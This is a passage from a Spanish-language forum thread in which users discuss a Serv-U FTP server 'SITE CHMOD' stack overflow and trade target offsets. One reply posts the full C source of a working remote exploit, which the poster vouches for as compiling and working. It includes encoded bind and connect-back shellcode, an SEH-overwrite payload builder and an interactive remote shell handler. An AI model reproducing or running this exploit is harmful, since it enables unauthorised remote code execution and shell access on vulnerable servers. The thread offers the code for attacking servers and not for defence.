        1      0x7ffa2186      Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL
        2      0x6dee6713      Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4
        3      0x77886713      Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4
        4      0x76b42a3a      Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1

dependiendo de S.O. y de los SP instalados tienes que modificar algo en el exploit, y dependiendo del SIstemas que encuentres el servidor debes hacerles cambios a los exploit, pues. no pidas que lo compiles, porke tendras que compilar miles de exploit, porke no todos estan configurados iguales, y tienes win xp SP1, entinedes? esto se compila cuando encuentras el servidor ftp ...salu2
En línea

Xatyr0
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.576


monokuroumu


Ver Perfil WWW
Re:Serv-U Ftp Server Long Filename Stack Overflow
« Respuesta #3 en: 27 Enero 2004, 12:44 »

No se si habrás mirado bien, pero yo miro y esto es lo q veo... ¬_¬

Código:
struct
{
    DWORD    dwJMP;
    char    *szDescription;
}targets[] =
{
    {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL"},        //for all GB win2000 and winxp
//    {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K SP3/SP4"},    //wsock32.dll jmp ebx addr
//    {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11 GB XP SP0/SP1"},    //wsock32.dll jmp ebx addr
//    {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11 GB/BG 2K SP4"},        //user32.dll jmp ebx addr
    {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL"},        //for all BG win2000 and winxp    
//    {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K SP4"},        //setupapi.dll jmp ebx addr
    {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4"},        //setupapi.dll jmp ebx addr
    {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4"},        //setupapi.dll jmp ebx addr
    {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1"},
//    {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},
},v;

Lo wapo de este exploit (suponiendo q tu version de Windows sea GB o EN) es q no tienes q modificar el offset y recompilar cada vez q quieras atacar un servidor diferente, pq el tio q ha escrito el exploit ya se ha encargado de encontrar los offsets. Digamos q este exploit sirve para muchos tipos de servidores. EL TIPO DE SERVIDOR A ATACAR (definido por su version y tb por el idioma, version XP o 2k y numero de Service Pack del sistema operativo sobre el q se ejecuta) NO SE SELECCIONA EN TIEMPO DE COMPILACION (CAMBIANDO EL OFFSET) SINO EN TIEMPO DE EJECUCION, SELECCIONANDO EL TARGET A ATACAR!!!!! MIRA LA SINTAXIS DE EJECUCION DEL EXPLOIT!!

Otra historia es q tu no tengas las ediciones GB o EN y no te sirvan esos offsets. Entonces si tienes q cambiarlos....

Y q sepas q no he pedido a la gente sus resultados de compilacion en plan "soy un sckript kiddie q no sabe compilar y solo quiero el ejecutable" sino pq ahora estoy en examenes y no tengo tiempo de andar buscando objetivos, compilando y depurando errores..... solo quiero saber si a alguien le ha funcionado, q tipos de errores le da al compilar, sobre q versiones de Serv-u ha conseguido aplicar el exploit con exito (o fracaso) etc

>:( Salu2  >:(
« Última modificación: 27 Enero 2004, 12:56 por gospel » En línea

Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.576


monokuroumu


Ver Perfil WWW
Re: Serv-U Ftp Server Long Filename Stack Overflow
« Respuesta #4 en: 08 Junio 2004, 06:10 »

Hace tiempo q encontre el codigo de este mismo exploit con los offsets universales para Windows 2000 SP3,SP4 y Windows XP SP1 añadidos. No me acuerdo de donde lo saque, pero una posible fuente es: http://cnsteam.w6.ru/files/servu.c

De todas formas, para mayor seguridad adjunto el código q yo poseo y q sé fijo q compila y funciona correctamente:

Código:
/*
*-----------------------------------------------------------------------
*
* Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-01-25
* Update   : 2004-02-01 v2.0 Change decode and target, can attack windows XP and win2003 now.
*          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
* Tested   : Windows 2000 Server EN/GB
*          :     + Serv-U v3.0.0.20~v4.1.0.11
*          : Windows XP/2003 GB
*          :     + Serv-U 4.x
* Notice   : *** Bug find by kkqq kkqq@0x557.org ***
*          : *** You need a valid account and a writable directory. ***
* Complie  : cl Servu.c
* Usage       : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
*------------------------------------------------------------------------
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>

#pragma comment(lib, "ws2_32")

// for bind shellcode
#define BIND_OFFSET        91

// for connectback shellcode
#define PORT_OFFSET        95
#define IP_OFFSET        88

#define SEH_OFFSET        0x193    //v3.0.0.20~v4.1.0.11
//#define    SEH_OFFSET        0x133               // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
#define MAX_LEN            2048
#define JMP_OVER        "\xeb\x06\xeb\x06"
#define    VERSION            "2.0"

struct
{
   DWORD    dwJMP;
   char    *szDescription;
}targets[] =
{
   {0x7801D07B,"Serv-U v3.0.0.20~v4.1.0.11 ALL  2K    SP3/SP4"},        //msvcrt.dll pop,pop,ret addr   
   {0x77c22ca7,"Serv-U v3.0.0.20~v4.1.0.11 ALL  XP        SP1"},        //msvcrt.dll pop,pop,ret addr   
   {0x7ffa1571,"Serv-U v3.0.0.20~v4.1.0.11 GB   2K/XP/2K3 ALL"},        //pop,pop,ret addr for all GB win2000 and winxp
   {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11 GB   2K        ALL"},        //jmp ebx addr for all GB win2000 and winxp
   {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11 BG   2K        ALL"},        //jmp ebx addr for all BG win2000 and winxp   
   {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11 KR   2K        SP4"},        //setupapi.dll jmp ebx addr
   {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11 EN   2K        SP4"},        //setupapi.dll jmp ebx addr
   {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11 EN   XP        SP1"},        //winmm.dll pop,pop,ret addr
//    {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},         
},v;



unsigned char    *szSend[4];
unsigned char    szCommand[MAX_LEN];
unsigned char    szDirectory[0x100];

// 31 bytes decode by lion, don't change this.
unsigned char decode[]=
"\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
"\x39\x3B\x75\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion";

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n";

// 311 bytes bind shellcode by lion (xor with 0x93)
unsigned char sc[]=
"\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
"\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
"\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
"\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
"\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
"\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
"\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
"\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
"\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
"\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
"\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
"\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
"\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
"\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
"\xDA\x15\xDA\x74\xEA\x55\xEA";

// 294 bytes connectback shellcode by lion (xor with 0x93)
unsigned char cbsc[]=
"\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
"\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
"\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
"\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
"\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
"\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
"\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
"\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
"\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
"\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
"\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
"\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
"\x39\xF3\x74\xEA\x55\xEA";

void usage(char *p)
{
   int    i;
   printf( "Usage:\t%s\t<-i ip> <-t type>\n"
       "\t\t[-u user] [-p pass] [-d dir]\n"
       "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
       "[type]:\n" , p);   
   for(i=0;i<sizeof(targets)/sizeof(v);i++)
   {
       printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
   }
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
   int     l;
   char    buf[512];
   struct    timeval time;
   unsigned long    ul[2];

   time.tv_sec = 1;
   time.tv_usec = 0;

   while (1)
   {
       ul[0] = 1;
       ul[1] = sock;

       l = select (0, (fd_set *)&ul, NULL, NULL, &time);
       if(l == 1)
       {
           l = recv (sock, buf, sizeof (buf), 0);
           if (l <= 0)
           {
               printf ("[-] Connection closed.\n");
               return;
           }
           l = write (1, buf, l);
           if (l <= 0)
           {
               printf ("[-] Connection closed.\n");
               return;
           }
       }
       else
       {
           l = read (0, buf, sizeof (buf));
           if (l <= 0)
           {
               printf("[-] Connection closed.\n");
               return;
           }
           l = send(sock, buf, l, 0);
           if (l <= 0)
           {
               printf("[-] Connection closed.\n");
               return;
           }
       }
   }
}

void main(int argc, char **argv)
{
   struct    sockaddr_in sa, server, client;
   WSADATA    wsd;
   SOCKET    s, s2, s3;
   int    iErr, ret, len;
   char    szRecvBuff[MAX_LEN];
   int    i, j, iType;
   int    iPort=21;
   char    *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
   char    user[128], pass[128];
   BOOL    bCb=FALSE, bLocal=TRUE;
   unsigned short    shport=53, shport2=0;
   unsigned long    cbip;
   unsigned int    timeout=5000, Reuse;
   char    penetrate[255],cbHost2[20];
   int seh_offset;
   
   printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit V%s\r\n"
       "Bug find by kkqq kkqq@0x557.org, Code by lion (lion@cnhonker.net)\r\n"
       "Welcome to HUC website http://www.cnhonker.com\r\n\n"
            , VERSION);

   seh_offset = SEH_OFFSET;
   
   if(argc < 4)
   {
       usage(argv[0]);
       return;
   }

   for(i=1;i<argc;i+=2)
   {
       if(strlen(argv[i]) != 2)
       {
           usage(argv[0]);
           return;
       }
       // check parameter
       if(i == argc-1)
       {
           usage(argv[0]);
           return;
       }
       switch(argv[i][1])
       {
           case 'i':
               ip=argv[i+1];
               break;
           case 't':
               iType = atoi(argv[i+1]);
               break;
           case 'f':
               iPort=atoi(argv[i+1]);
               break;
           case 'p':
               pPass = argv[i+1];
               break;
           case 'u':
               pUser=argv[i+1];
               break;
           case 'c':
               cbHost=argv[i+1];
               bCb=TRUE;
               break;
           case 's':
               shport=atoi(argv[i+1]);
               break;
           case 'd':
               if(argv[i+1][0] != '/')
                   strcpy(szDirectory, "/");
               strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
               
               if(szDirectory[strlen(szDirectory)-1] != '/')
                   strcat(szDirectory, "/");
                   
               // correct the directory len
               for(j=0;j<(strlen(szDirectory)-1)%8;j++)
                   strcat(szDirectory, "x");
                   
               //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
               seh_offset = seh_offset - strlen(szDirectory)+1;
               break;
       }
   }

   if((!ip) || (!user) || (!pass))
   {
       usage(argv[0]);
       printf("[-] Invalid parameter.\n");
       return;
   }

   if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
   {
       usage(argv[0]);
       printf("[-] Invalid type.\n");
       return;
   }

   if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
   {
       usage(argv[0]);
       printf("[-] Invalid port.\n");
       return;
   }
   
   _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
   user[sizeof(user)-1]='\0';
   _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
   pass[sizeof(pass)-1]='\0';
   szSend[0] = user;    //user
   szSend[1] = pass;    //pass   
   szSend[2] = penetrate;    //pentrate
   szSend[3] = szCommand;    //shellcode
   
   // Penetrate through the firewall.
   if(bCb && shport > 1024)
   {
       strncpy(cbHost2, cbHost, 20);
       for(i=0;i<strlen(cbHost); i++)
       {
           if(cbHost[i] == '.')
               cbHost2[i] = ',';
       }
       
       sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);

       //printf("%s", penetrate);
   }
   else
   {
       sprintf(penetrate,"TYPE I\r\n");       
   }

   // fill the "site chmod" command
   strcpy(szCommand, "site chmod 777 ");
   
   // fill the directory
   if(szDirectory[0])
       strcat(szCommand, szDirectory);

   // fill the egg
   for(i=0;i<seh_offset%8;i++)
       strcat(szCommand, "\x90");
   //strcat(szCommand, "BBBB");
   
   // fill the seh
   for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
   {
       strcat(szCommand, JMP_OVER);
       memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
   }
       
   // fill the decode
   strcat(szCommand, decode);

   // fill the shellcode start    sign
   strcat(szCommand, sc_start);

   // fill the shellcode
   if(bCb)
   {
       // connectback shellcode
       shport2 = htons(shport)^(u_short)0x9393;
       cbip = inet_addr(cbHost)^0x93939393;
       memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
       memcpy(&cbsc[IP_OFFSET], &cbip, 4);
       strcat(szCommand, cbsc);       
   }
   else
   {
       // bind shellcode
       shport2 = htons(shport)^(u_short)0x9393;
       memcpy(&sc[BIND_OFFSET], &shport2, 2);
       strcat(szCommand, sc);
   }

   // fill the shellcode end sign
   strcat(szCommand, sc_end);

   // send end
   strcat(szCommand, "\r\n");

   if(strlen(szCommand) >= sizeof(szCommand))
   {
       printf("[-] stack buffer overflow.\n");
       return;
   }
   
//    printf("send size %d:%s", strlen(szCommand), szCommand);
   
   __try
   {
       if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
       {
           printf("[-] WSAStartup error:%d\n", WSAGetLastError());
           __leave;
       }

       s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       if(s == INVALID_SOCKET)
       {
           printf("[-] Create socket failed:%d",GetLastError());
           __leave;
       }

       sa.sin_family=AF_INET;
       sa.sin_port=htons((USHORT)iPort);
       sa.sin_addr.S_un.S_addr=inet_addr(ip);

       setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
       iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
       if(iErr == SOCKET_ERROR)
       {
           printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
           __leave;
       }
       printf("[+] Connect to %s:%d success.\n", ip, iPort);
       
       if(bCb)
       {
           Sleep(500);
           s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

           server.sin_family=AF_INET;
           server.sin_addr.S_un.S_addr=inet_addr(cbHost);
           //server.sin_addr.s_addr=INADDR_ANY;
           server.sin_port=htons((unsigned short)shport);

           setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

           Reuse = 1;
           setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

           if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
           {
               printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
               printf("[-] You must run nc get the shell.\n");
               bLocal = FALSE;
               //closesocket(s2);
               //__leave;
           }
           else
           {   
               printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
               listen(s2, 1);
           }
       }
       
       for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
       {
           memset(szRecvBuff, 0, sizeof(szRecvBuff));
           iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
           if(iErr == SOCKET_ERROR)
           {
               printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
               __leave;
           }
           printf("[+] Recv: %s", szRecvBuff);
           
           if(szRecvBuff[0] == '5')
           {
               printf("[-] Server return a error Message.\r\n");
               __leave;
           }

           iErr = send(s, szSend[i], strlen(szSend[i]),0);
           if(iErr == SOCKET_ERROR)
           {
               printf("[-] Send buffer error:%d.\n", WSAGetLastError());
               __leave;
           }

           if(i==sizeof(szSend)/sizeof(szSend[0])-1)
               printf("[+] Send shellcode %d bytes.\n", iErr);
           else
               printf("[+] Send: %s", szSend[i]);
       }

       printf("[+] If you don't have a shell it didn't work.\n");

       if(bCb)
       {
           if(bLocal)
           {
               printf("[+] Wait for shell...\n");
           
               len = sizeof(client);
               s3 = accept(s2, (struct sockaddr*)&client, &len);
               if(s3 != INVALID_SOCKET)
               {
                   printf("[+] Exploit success! Good luck! :)\n");
                   printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
                   shell(s3);
               }
           }   
       }
       else
       {
           printf("[+] Connect to shell...\n");
           
           Sleep(1000);
           s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
           server.sin_family = AF_INET;
           server.sin_port = htons(shport);
           server.sin_addr.s_addr=inet_addr(ip);

           ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
           if(ret!=0)
           {
               printf("[-] Exploit seem failed.\n");
               __leave;
           }
           
           printf("[+] Exploit success! Good luck! :)\n");
           printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
           shell(s2);
       }
       
       
   }

   __finally
   {
       if(s != INVALID_SOCKET) closesocket(s);
       if(s2 != INVALID_SOCKET) closesocket(s2);
       if(s3 != INVALID_SOCKET) closesocket(s3);
       WSACleanup();
   }

   return;
}


Q aproveche...

Salu2
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC